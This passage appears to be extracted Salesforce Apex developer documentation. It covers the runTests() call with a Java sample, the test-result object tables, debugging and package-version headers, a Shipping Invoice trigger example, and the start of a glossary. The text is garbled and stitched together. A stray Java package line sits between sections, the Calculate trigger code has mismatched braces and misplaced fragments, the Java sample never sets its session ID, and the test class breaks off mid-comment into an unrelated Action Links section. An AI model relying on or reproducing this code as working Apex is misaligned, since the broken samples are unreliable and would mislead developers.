Sample Code—Java

```java
public void runTestsSample() {
    String sessionId = "sessionID goes here";
    String url = "url goes here";
    // Set the Apex stub with session ID received from logging in with the partner API
    _SessionHeader sh = new _SessionHeader();
    apexBinding.setHeader(
        new ApexServiceLocator().getServiceName().getNamespaceURI(),
        "SessionHeader", sh);
    // Set the URL received from logging in with the partner API to the Apex stub
    apexBinding._setProperty(ApexBindingStub.ENDPOINT_ADDRESS_PROPERTY, url);

    // Set the debugging header
    _DebuggingHeader dh = new _DebuggingHeader();
    dh.setDebugLevel(LogType.Profiling);
    apexBinding.setHeader(
        new ApexServiceLocator().getServiceName().getNamespaceURI(),
        "DebuggingHeader", dh);

    long start = System.currentTimeMillis();
    RunTestsRequest rtr = new RunTestsRequest();
    rtr.setAllTests(true);
    RunTestsResult res = null;
    try {
        res = apexBinding.runTests(rtr);
    } catch (RemoteException e) {
        System.out.println("An unexpected error occurred: " + e.getMessage());
    }

    System.out.println("Number of tests: " + res.getNumTestsRun());
    System.out.println("Number of failures: " + res.getNumFailures());
    if (res.getNumFailures() > 0) {
        for (RunTestFailure rtf : res.getFailures()) {
            System.out.println("Failure: "+ (rtf.getNamespace() == null ? "" : rtf.getNamespace() + ".")
                + rtf.getName() + ": " + rtf.getMethodName() + ": "
                + rtf.getMessage() + "\n" + rtf.getStackTrace());
        }
    }
    if (res.getCodeCoverage() != null) {
        for (CodeCoverageResult ccr : res.getCodeCoverage()) {
            System.out.println("Code coverage for " + ccr.getType() + 
                (ccr.getNamespace() == null ? "" : ccr.getNamespace() + ".")
                + ccr.getName() + ": "
                + ccr.getNumLocationsNotCovered()
                + " locations not covered out of "
                + ccr.getNumLocations());
            if (ccr.getNumLocationsNotCovered() > 0) {
                for (CodeLocation cl : ccr.getLocationsNotCovered())
```
System.out.println("\tLine " + cl.getLine());
}
}
System.out.println("Finished in " +
(System.currentTimeMillis() - start) + "ms");
}

### Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>request</td>
<td>RunTestsRequest</td>
<td>A request that includes the Apex unit tests and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

### Response

- RunTestsResult

---

### RunTestsRequest

Specifies information about the Apex code to be tested. RunTestsRequest is part of CompileAndTestRequest, which is the request passed to the `compileAndTest()` call. This object is also passed to the Tooling SOAP API call `runTests()`. You can specify the same or different classes to be tested and compiled. Since triggers cannot be tested directly, they are not included in this object. Instead, you must specify a class that calls the trigger.

If the request is sent to a production organization, this request is ignored and all unit tests defined for your organization are run.

The RunTestsRequest object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>allTests</td>
<td>boolean*</td>
<td>If allTests is true, all unit tests defined for your organization are run.</td>
</tr>
<tr>
<td>classes</td>
<td>string*[]</td>
<td>An array of one or more objects.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>If specified, the namespace that contains the unit tests to be run. Do not use this property if you specify allTests as true. Also, if you execute compileAndTest() in a production organization, this property is ignored, and all unit tests defined for the organization are run.</td>
</tr>
<tr>
<td>maxFailedTests</td>
<td>int</td>
<td>A mandatory parameter for the Tooling SOAP API call runTests(). To allow all tests in a run to execute, set maxFailedTests to -1. To stop the test run from executing new tests after a given number of tests fail, set maxFailedTests to an integer value from 0 to 1,000,000. This integer value sets the maximum number of tests that can fail before the test run is aborted.</td>
</tr>
</tbody>
</table>
### allowable test failures
A value of 0 causes the test run to stop if any failure occurs. A value of 1 causes the test run to stop on the second failure, and so on.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>packages</td>
<td>string*[]</td>
<td>Do not use after version 10.0. For earlier, unsupported releases, the content of the package to be tested.</td>
</tr>
<tr>
<td>skipCodeCoverage</td>
<td>boolean</td>
<td>Indicates whether to opt out of collecting code coverage information during Apex test runs. Available in API version 43.0 and later.</td>
</tr>
<tr>
<td>tests</td>
<td>TestsNode[]</td>
<td>A mandatory parameter for the Tooling SOAP API call <code>runTests()</code>. Specifies individual test methods in an Apex test class. To specify classes or suites instead of a TestsNode[], set <code>tests</code> to <code>null</code>. Although this property accepts an array, the array can contain only one entry.</td>
</tr>
</tbody>
</table>

### TestsNode
Specifies individual test methods in an Apex test class.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>classId</td>
<td>string</td>
<td>The ID of the Apex class that contains the test methods you want to run. <code>classId</code> or <code>className</code> is required.</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Supported Methods</strong></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• <code>getClassId()</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• <code>setClassId(new String &quot;&lt;your class ID&gt;&quot;)</code></td>
</tr>
<tr>
<td>className</td>
<td>string</td>
<td>The name of the Apex class that contains the test methods you want to run. To run tests from a managed package, include the package’s namespace using dot notation. <code>classId</code> or <code>className</code> is required.</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Supported Methods</strong></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• <code>getClassName()</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• <code>setClassName(new String &quot;YourClassName&quot;)</code></td>
</tr>
<tr>
<td>testMethods</td>
<td>string*[]</td>
<td>The test methods you want to run. Required.</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Supported Methods</strong></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• <code>getTestMethods()</code></td>
</tr>
</tbody>
</table>
RunTestsResult

Contains information about the execution of unit tests, including whether unit tests were completed successfully, code coverage results, and failures.

A RunTestsResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>apexLogId</td>
<td>string</td>
<td>The ID of an ApexLog object that is created at the end of a test run. The ApexLog object is created if there is an active trace flag on the user running an Apex test, or on a class or trigger being executed. This field is available in API version 35.0 and later.</td>
</tr>
<tr>
<td>codeCoverage</td>
<td>CodeCoverageResult[]</td>
<td>An array of one or more CodeCoverageResult objects that contains the details of the code coverage for the specified unit tests.</td>
</tr>
<tr>
<td>codeCoverageWarnings</td>
<td>CodeCoverageWarning[]</td>
<td>An array of one or more code coverage warnings for the test run. The results include both the total number of lines that could have been executed, as well as the number, line, and column positions of code that was not executed.</td>
</tr>
<tr>
<td>failures</td>
<td>RunTestFailure[]</td>
<td>An array of one or more RunTestFailure objects that contain information about the unit test failures, if there are any.</td>
</tr>
<tr>
<td>flowCoverage</td>
<td>FlowCoverageResult[]</td>
<td>An array of results from test runs that executed flows. This field is available in API version 44.0 and later.</td>
</tr>
<tr>
<td>flowCoverageWarnings</td>
<td>FlowCoverageWarning[]</td>
<td>An array of warnings generated by test runs that executed flows. This field is available in API version 44.0 and later.</td>
</tr>
<tr>
<td>numFailures</td>
<td>int</td>
<td>The number of failures for the unit tests.</td>
</tr>
<tr>
<td>numTestsRun</td>
<td>int</td>
<td>The number of unit tests that were run.</td>
</tr>
<tr>
<td>successes</td>
<td>RunTestSuccess[]</td>
<td>An array of one or more RunTestSuccess objects that contain information about successes, if there are any.</td>
</tr>
<tr>
<td>totalTime</td>
<td>double</td>
<td>The total cumulative time spent running tests, in milliseconds. This can be helpful for performance monitoring.</td>
</tr>
</tbody>
</table>

package com.salesforce.commerce.jupiter.MessageBuilder;

CodeCoverageResult

The RunTestsResult object contains this object. It contains information about whether or not the compile of the specified Apex and run of the unit tests was successful.

A CodeCoverageResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dmlInfo</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, for each portion of code tested, this property contains the DML statement locations, the number of times the code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the CodeLocation. The ID is unique within an organization.</td>
</tr>
<tr>
<td>locationsNotCovered</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, if any code is not covered, the line and column of the code not tested, and the number of times the code was executed.</td>
</tr>
<tr>
<td>methodInfo</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, the method invocation locations, the number of times the code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class or trigger covered.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contained the unit tests, if one is specified.</td>
</tr>
<tr>
<td>numLocations</td>
<td>int</td>
<td>The total number of code locations.</td>
</tr>
<tr>
<td>soqlInfo</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, the location of SOQL statements in the code, the number of times this code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>soslInfo</td>
<td>CodeLocation[]</td>
<td>For each class tested, the location of SOSL statements in the code, the number of times this code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>type</td>
<td>string</td>
<td>Do not use. In early, unsupported releases, used to specify class or package.</td>
</tr>
</tbody>
</table>

CodeCoverageWarning

The RunTestsResult object contains this object. It contains information about the Apex class which generated warnings.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the class which generated warnings.</td>
</tr>
</tbody>
</table>
### Description

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>message</td>
<td>string</td>
<td>The message of the warning generated.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class that generated a warning. If the warning applies to the overall code coverage, this value is null.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contains the class, if one was specified.</td>
</tr>
</tbody>
</table>

### RunTestFailure

The RunTestsResult object returns information about failures during the unit test run.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the class which generated failures.</td>
</tr>
<tr>
<td>message</td>
<td>string</td>
<td>The failure message.</td>
</tr>
<tr>
<td>methodName</td>
<td>string</td>
<td>The name of the method that failed.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class that failed.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contained the class, if one was specified.</td>
</tr>
<tr>
<td>seeAllData</td>
<td>boolean</td>
<td>Indicates whether the test method has access to organization data (true) or not (false).</td>
</tr>
<tr>
<td></td>
<td></td>
<td>This field is available in API version 33.0 and later.</td>
</tr>
<tr>
<td>stackTrace</td>
<td>string</td>
<td>The stack trace for the failure.</td>
</tr>
<tr>
<td>time</td>
<td>double</td>
<td>The time spent running tests for this failed operation, in milliseconds. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>type</td>
<td>string</td>
<td>Do not use. In early, unsupported releases, used to specify class or package.</td>
</tr>
</tbody>
</table>

### FlowCoverageResult

This object contains information about the flow version and the number of elements executed by the test run. This object is available in API version 44.0 and later.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>elementsNotCovered</td>
<td>string</td>
<td>List of elements in the flow version that weren't executed by the test run.</td>
</tr>
</tbody>
</table>
### FlowCoverageWarning

This object contains information about the flow version that generated warnings. This object is available in API version 44.0 and later.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>flowId</td>
<td>string</td>
<td>The ID of the flow version that generated the warning.</td>
</tr>
<tr>
<td>flowName</td>
<td>string</td>
<td>The name of the flow that generated the warning. If the warning applies to</td>
</tr>
<tr>
<td></td>
<td></td>
<td>the overall test coverage of flows within your org, this value is null.</td>
</tr>
<tr>
<td>flowNamespace</td>
<td>string</td>
<td>The namespace that contains the flow, if one was specified.</td>
</tr>
<tr>
<td>message</td>
<td>string</td>
<td>The message of the warning that was generated.</td>
</tr>
</tbody>
</table>

### RunTestSuccess

The `RunTestsResult` object returns information about successes during the unit test run.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the class which generated the success.</td>
</tr>
<tr>
<td>methodName</td>
<td>string</td>
<td>The name of the method that succeeded.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class that succeeded.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contained the class, if one was specified.</td>
</tr>
<tr>
<td>seeAllData</td>
<td>boolean</td>
<td>Indicates whether the test method has access to organization data (true) or</td>
</tr>
<tr>
<td></td>
<td></td>
<td>not (false). This field is available in API version 33.0 and later.</td>
</tr>
</tbody>
</table>
### CodeLocation
The RunTestsResult object contains this object in a number of fields.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>column</td>
<td>int</td>
<td>The column location of the Apex tested.</td>
</tr>
<tr>
<td>line</td>
<td>int</td>
<td>The line location of the Apex tested.</td>
</tr>
<tr>
<td>numExecutions</td>
<td>int</td>
<td>The number of times the Apex was executed in the test run.</td>
</tr>
<tr>
<td>time</td>
<td>double</td>
<td>The total cumulative time spent at this location. This can be helpful for performance monitoring.</td>
</tr>
</tbody>
</table>

### DebuggingHeader
Return the debug log in the output header, DebuggingInfo, and specify the level of detail in the debug log.

**Note:** Calls that include DebuggingHeader are limited to 1,000 in a 24-hour period. You can continue to make these calls even after reaching the total request limit for an org.

### API Calls
compileAndTest(), executeanonymous(), runTests()

### Fields

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>categories</td>
<td>LogInfo[]</td>
<td>Specifies the type and amount of information to be returned in the debug log.</td>
</tr>
</tbody>
</table>
| debugLevel     | DebugLevel (enumeration of type string) | Deprecated. This field is provided only for backward compatibility. If you provide values for both debugLevel and categories, the categories value is used. The debugLevel field specifies the type of information returned in the debug log. The values are listed from the least amount of information returned to the most information returned. Valid values include:  
  • None  
  • Debugonly |
LogInfo

Specifies the type and amount of information to be returned in the debug log. The `categories` field takes a list of these objects. LogInfo is a mapping of category to level.

Fields

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>category</td>
<td>LogCategory</td>
<td>Specify the type of information returned in the debug log. Valid values are:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Db</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Workflow</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Validation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Callout</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Apex_code</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Apex_profiling</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Visualforce</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• System</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• All</td>
</tr>
<tr>
<td>level</td>
<td>LogCategoryLevel</td>
<td>Specifies the level of detail returned in the debug log. Valid log levels are (listed from lowest to highest):</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• NONE</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ERROR</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• WARN</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• INFO</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• DEBUG</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FINE</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FINER</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FINEST</td>
</tr>
</tbody>
</table>

PackageVersionHeader

Specifies the package version for each installed managed package.
A managed package can have several versions with different content and behavior. This header allows you to specify the version used for each package referenced by your API client.

If a package version is not specified, the API client uses the version of the package specified in Setup (enter API in the Quick Find box, then select API).

**API Calls**

`compileAndTest(), compileClasses(), compileTriggers(), executeAnonymous()`

**Fields**

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>packageVersions</td>
<td>PackageVersion[]</td>
<td>A list of package versions for installed managed packages referenced by your API client.</td>
</tr>
</tbody>
</table>

**PackageVersion**

Specifies a version of an installed managed package. A package version is `majorNumber.minorNumber`, for example `2.1`.

**Fields**

<table>
<thead>
<tr>
<th>Field</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>majorNumber</td>
<td>int</td>
<td>The major version number of a package version.</td>
</tr>
<tr>
<td>minorNumber</td>
<td>int</td>
<td>The minor version number of a package version.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The unique namespace of the managed package.</td>
</tr>
</tbody>
</table>

**Shipping Invoice Example**

This appendix provides an example of an Apex application. This is a more complex example than the Hello World example.

- **Shipping Invoice Walk-Through**
- **Shipping Invoice Example Code**

**IN THIS SECTION:**

1. **Shipping Invoice Example Walk-Through**
2. **Shipping Invoice Example Code**

**Shipping Invoice Example Walk-Through**

The sample application in this section includes traditional Salesforce functionality blended with Apex. Many of the syntactic and semantic features of Apex, along with common idioms, are illustrated in this application.

*Note:* The Shipping Invoice sample requires custom objects. You can either create these on your own, or download the objects and Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the Apex Tutorials Package. This package also contains sample code and objects for the Apex Quick Start.
Scenario

In this sample application, the user creates a new shipping invoice, or order, and then adds items to the invoice. The total amount for the order, including shipping cost, is automatically calculated and updated based on the items added or deleted from the invoice.

Data and Code Models

This sample application uses two new objects: Item and Shipping_invoice.

The following assumptions are made:

- Item A cannot be in both orders shipping_invoice1 and shipping_invoice2. Two customers cannot obtain the same (physical) product.
- The tax rate is 9.25%.
- The shipping rate is 75 cents per pound.
- Once an order is over $100, the shipping discount is applied (shipping becomes free).

The fields in the Item custom object include:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>String</td>
<td>The name of the item</td>
</tr>
<tr>
<td>Price</td>
<td>Currency</td>
<td>The price of the item</td>
</tr>
<tr>
<td>Quantity</td>
<td>Number</td>
<td>The number of items in the order</td>
</tr>
<tr>
<td>Weight</td>
<td>Number</td>
<td>The weight of the item, used to calculate shipping costs</td>
</tr>
<tr>
<td>Shipping_invoice</td>
<td>Master-Detail (shipping_invoice)</td>
<td>The order this item is associated with</td>
</tr>
</tbody>
</table>

The fields in the Shipping_invoice custom object include:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>String</td>
<td>The name of the shipping invoice/order</td>
</tr>
<tr>
<td>Subtotal</td>
<td>Currency</td>
<td>The subtotal</td>
</tr>
<tr>
<td>GrandTotal</td>
<td>Currency</td>
<td>The total amount, including tax and shipping</td>
</tr>
<tr>
<td>Shipping</td>
<td>Currency</td>
<td>The amount charged for shipping (assumes $0.75 per pound)</td>
</tr>
<tr>
<td>ShippingDiscount</td>
<td>Currency</td>
<td>Only applied once when subtotal amount reaches $100</td>
</tr>
<tr>
<td>Tax</td>
<td>Currency</td>
<td>The amount of tax (assumes 9.25%)</td>
</tr>
<tr>
<td>TotalWeight</td>
<td>Number</td>
<td>The total weight of all items</td>
</tr>
</tbody>
</table>

All of the Apex for this application is contained in triggers. This application has the following triggers:
<table>
<thead>
<tr>
<th>Object</th>
<th>Trigger Name</th>
<th>When Runs</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Item</td>
<td>Calculate</td>
<td>after insert, after update, after delete</td>
<td>Updates the shipping invoice, calculates the totals and shipping</td>
</tr>
<tr>
<td>Shipping Invoice</td>
<td>ShippingDiscount</td>
<td>after update</td>
<td>Updates the shipping invoice, calculating if there is a shipping discount</td>
</tr>
</tbody>
</table>

The following is the general flow of user actions and when triggers run:

**Flow of user action and triggers for the shopping cart application**

1. User clicks **Orders > New**, names the shipping invoice and clicks **Save**.
2. User clicks **New Item**, fills out information, and clicks **Save**.
3. Calculate trigger runs. Part of the Calculate trigger updates the shipping invoice.
4. ShippingDiscount trigger runs.
5. User can then add, delete or change items in the invoice.

In **Shipping Invoice Example Code** both of the triggers and the test class are listed. The comments in the code explain the functionality.

**Testing the Shipping Invoice Application**

Before an application can be included as part of a package, 75% of the code must be covered by unit tests. Therefore, one piece of the shipping invoice application is a class used for testing the triggers.

The test class verifies the following actions are completed successfully:
• Inserting items
• Updating items
• Deleting items
• Applying shipping discount
• Negative test for bad input

Shipping Invoice Example Code

The following triggers and test class make up the shipping invoice example application:

• Calculate trigger
• ShippingDiscount trigger
• Test class

Calculate Trigger

```
trigger calculate on Item__c (after insert, after update, after delete) {
    // Use a map because it doesn't allow duplicate values
    Map<ID, Shipping_Invoice__C> updateMap = new Map<ID, Shipping_Invoice__C>();
    // Set this integer to -1 if we are deleting
    Integer subtract;
    // Populate the list of items based on trigger type
    List<Item__c> itemList;
    if(trigger.isInsert || trigger.isUpdate) {
        itemList = Trigger.new;
        subtract = 1;
    } else if(trigger.isDelete) {
        // Note -- there is no trigger.new in delete
        itemList = trigger.old;
        subtract = -1;
    }
    // Access all the information we need in a single query
    // rather than querying when we need it.
    // This is a best practice for bulkifying requests
    set<Id> AllItems = new set<id>();
    for(Item__c i :itemList){
        // Assert numbers are not negative.
        // None of the fields would make sense with a negative value
        System.assert(i.quantity__c > 0, 'Quantity must be positive');
        System.assert(i.weight__c >= 0, 'Weight must be non-negative');
        System.assert(i.price__c >= 0, 'Price must be non-negative');
    }
}
```
// If there is a duplicate Id, it won't get added to a set
AllItems.add(i.Shipping_Invoice__C);
}

// Accessing all shipping invoices associated with the items in the trigger
List<Shipping_Invoice__C> AllShippingInvoices = [SELECT Id, ShippingDiscount__c,
    SubTotal__c, TotalWeight__c, Tax__c, GrandTotal__c
    FROM Shipping_Invoice__C WHERE Id IN :AllItems];

// Take the list we just populated and put it into a Map.
// This will make it easier to look up a shipping invoice
// because you must iterate a list, but you can use lookup for a map,
Map<ID, Shipping_Invoice__C> SIMap = new Map<ID, Shipping_Invoice__C>();

for(Shipping_Invoice__C sc : AllShippingInvoices)
{
    SIMap.put(sc.id, sc);
}

// Process the list of items
if(Trigger.isUpdate)
{
    // Treat updates like a removal of the old item and addition of the
    // revised item rather than figuring out the differences of each field
    // and acting accordingly.
    // Note updates have both trigger.new and trigger.old
    for(Integer x = 0; x < Trigger.old.size(); x++)
    {
        Shipping_Invoice__C myOrder;
        myOrder = SIMap.get(trigger.old[x].Shipping_Invoice__C);

        // Decrement the previous value from the subtotal and weight.
        myOrder.SubTotal__c -= (trigger.old[x].price__c *
            trigger.old[x].quantity__c);
        myOrder.TotalWeight__c -= (trigger.old[x].weight__c *
            trigger.old[x].quantity__c);

        // Increment the new subtotal and weight.
        myOrder.SubTotal__c += (trigger.new[x].price__c *
            trigger.new[x].quantity__c);
        myOrder.TotalWeight__c += (trigger.new[x].weight__c *
            trigger.new[x].quantity__c);
    }

    for(Shipping_Invoice__C myOrder : AllShippingInvoices)
    {
        // Set tax rate to 9.25% Please note, this is a simple example.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for tax rates is a best practice.
        // See Custom Settings in the Apex Developer Guide
        // for more information.
        myOrder.Tax__c = myOrder.Subtotal__c * .0925;
    }
}
// Reset the shipping discount
myOrder.ShippingDiscount__c = 0;

// Set shipping rate to 75 cents per pound.
// Generally, you would never hard code values.
// Leveraging Custom Settings for the shipping rate is a best practice.
// See Custom Settings in the Apex Developer Guide
// for more information.
myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c +
    myOrder.Shipping__c;
updateMap.put(myOrder.id, myOrder);
}
else
{
    for(Item__c itemToProcess : itemList)
    {
        Shipping_Invoice__C myOrder;

        // Look up the correct shipping invoice from the ones we got earlier
        myOrder = SIMap.get(itemToProcess.Shipping_Invoice__C);
        myOrder.SubTotal__c += (itemToProcess.price__c *
            itemToProcess.quantity__c * subtract);
        myOrder.TotalWeight__c += (itemToProcess.weight__c *
            itemToProcess.quantity__c * subtract);
    }

    for(Shipping_Invoice__C myOrder : AllShippingInvoices)
    {
        // Set tax rate to 9.25% Please note, this is a simple example.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for tax rates is a best practice.
        // See Custom Settings in the Apex Developer Guide
        // for more information.
        myOrder.Tax__c = myOrder.Subtotal__c * .0925;

        // Reset shipping discount
        myOrder.ShippingDiscount__c = 0;

        // Set shipping rate to 75 cents per pound.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for the shipping rate is a best practice.
        // See Custom Settings in the Apex Developer Guide
        // for more information.
        myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
        myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c +
            myOrder.Shipping__c;

        updateMap.put(myOrder.id, myOrder);
    }
}
ShippingDiscount Trigger

```apex
trigger ShippingDiscount on Shipping_Invoice__C (before update) {
    // Free shipping on all orders greater than $100
    for (Shipping_Invoice__C myShippingInvoice : Trigger.new) {
        if((myShippingInvoice.subtotal__c >= 100.00) &&
         (myShippingInvoice.ShippingDiscount__c == 0)) {
            myShippingInvoice.ShippingDiscount__c =
                myShippingInvoice.Shipping__c * -1;
            myShippingInvoice.GrandTotal__c +=
                myShippingInvoice.ShippingDiscount__c;
        }
    }
}
```

Shipping Invoice Test

```apex
@IsTest
private class TestShippingInvoice{

    // Test for inserting three items at once
    public static testmethod void testBulkItemInsert(){
        // Create the shipping invoice. It's a best practice to either use defaults

**Action Links Labels**

Use these labels for action link buttons.

An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can take action to drive productivity and accelerate innovation.

Specify the key in the `labelKey` property of the Action Link Definition Input request body. When the action link is rendered, the UI uses labels for the “New,” “Pending,” “Success,” and “Failed” states as needed.

⚠️ **Tip:** If none of the predefined labels work for your action link, use a custom label. To use a custom label, create an action link template and define the label in the template. See [Action Link Templates](#).

### Documentation Typographical Conventions

Apex and Visualforce documentation uses the following typographical conventions.

<table>
<thead>
<tr>
<th>Convention</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Courier font</strong></td>
<td>In descriptions of syntax, monospace font indicates items that you should type as shown, except for brackets. For example:</td>
</tr>
<tr>
<td></td>
<td><code>Public class HelloWorld</code></td>
</tr>
<tr>
<td><strong>Italics</strong></td>
<td>In descriptions of syntax, italics represent variables. You supply the actual value. In the following example, three values need to be supplied: <code>datatype variable_name [ = value]</code>; If the syntax is bold and italic, the text represents a code element that needs a value supplied by you, such as a class name or variable value:</td>
</tr>
<tr>
<td></td>
<td><code>public static class YourClassHere { ... }</code></td>
</tr>
</tbody>
</table>
**Conventions**

**Bold Courier font**
In code samples and syntax descriptions, bold courier font emphasizes a portion of the code or syntax.

`<>`  
In descriptions of syntax, less-than and greater-than symbols (`<>`) are typed exactly as shown.

```
<apex:pageBlockTable value="{!account.Contacts}" var="contact">
  <apex:column value="{!contact.Name}"/>
  <apex:column value="{!contact.MailingCity}"/>
  <apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>
```

`{}`  
In descriptions of syntax, braces (`{}`) are typed exactly as shown.

```
<apex:page>
  Hello {!$User.FirstName}!
</apex:page>
```

`[]`  
In descriptions of syntax, anything included in brackets is optional. In the following example, specifying `value` is optional:

`data_type variable_name [ = value];`

`|`  
In descriptions of syntax, the pipe sign means “or”. You can do one of the following (not all).

In the following example, you can create a new unpopulated set in one of two ways, or you can populate the set:

```
Set<data_type> set_name
  [= new Set<data_type>();] |
  [= new Set<data_type>[value [, value2 . . .] ];] |
```

## Glossary

### A

**Administrator (System Administrator)**
One or more individuals in your organization who can configure and customize the application. Users assigned to the System Administrator profile have administrator privileges.

**AJAX Toolkit**
A JavaScript wrapper around the API that allows you to execute any API call and access any object you have permission to view from within JavaScript code. For more information, see the [AJAX Toolkit Developer’s Guide](#).

**Anti-Join**
An anti-join is a subquery on another object in a `NOT IN` clause in a SOQL query. You can use anti-joins to create advanced queries. See also Semi-Join.
**Anonymous Block, Apex**
Apex code that does not get stored in Salesforce, but that can be compiled and executed by using the `ExecuteAnonymousResult()` API call, or the equivalent in the AJAX Toolkit.

**Ant Migration Tool**
A toolkit that allows you to write an Apache Ant build script for migrating Lightning Platform components between a local file system and a Salesforce organization.

**Apex**
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Lightning platform server in conjunction with calls to the Lightning Platform API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.

**Apex Connector Framework**
The Apex Connector Framework is a set of classes and methods in the `DataSource` namespace for creating a custom adapter for Salesforce Connect. Create a custom adapter to connect to data that’s stored outside your Salesforce org when the other available Salesforce Connect adapters aren’t suitable for your needs.

